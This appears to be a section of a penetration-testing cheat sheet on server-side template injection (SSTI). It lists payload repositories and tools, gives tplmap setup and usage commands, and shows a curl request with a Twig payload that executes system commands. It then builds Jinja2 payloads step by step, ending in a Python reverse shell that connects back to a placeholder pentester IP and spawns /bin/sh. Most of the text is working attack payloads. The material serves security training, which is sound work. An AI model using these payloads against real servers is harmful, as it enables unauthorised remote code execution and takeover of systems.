5.3 Server-Side Template Injections

Server-Side Template Injection (SSTI) is essentially injecting malicious template directives inside a template, leveraging Template Engines that insecurely mix user input with a given template.

SSTI Payloads

https://github.com/payloadbox/ssti-payloads
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

SSTI Tools

https://github.com/epinna/tplmap
https://github.com/vladko312/SSTImap

$ git clone https://github.com/epinna/tplmap.git
$ cd tplmap
$ pip install virtualenv
$ virtualenv -p python2 venv
$ source venv/bin/activate
$ pip install -r requirements.txt
$ ./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john


OR CURL

$ curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>


$ curl -gs

Python primer for SSTI

https://www.fatalerrors.org/a/0dhx1Dk.html

Below is a small dictionary from fatalerrors.org to refer to when going over the Jinja2 payload development part of this section:

No. Methods Description
1. class Returns the object (class) to which the type belongs
2. mro Returns a tuple containing the base class inherited by the object. Methods are parsed in the order of tuples.
3. subclasses Each new class retains references to subclasses, and this method returns a list of references that are still available in the class
4. builtins Returns the builtin methods included in a function
5. globals A reference to a dictionary that contains global variables for a function
6. base Returns the base class inherited by the object <-- (__ base__ and __ mro__ are used to find the base class)
7. init Class initialization method

Create a string object and use type and class, as follows. Then use the dir() command to show all methods and attributes from the object.

{{ ''.__class__ }}

{{ ''.__class__.__mro__ }}

{{ ''.__class__.__mro__[1] }}

{{ ''.__class__.__mro__[1].__subclasses__() }}


# Search for catch_warning
{% for i in range(450) %} 
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }} 
{% endfor %}



{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }}


{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}}


{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}



{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<PENTESTER_IP>",<PENTESTER_PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}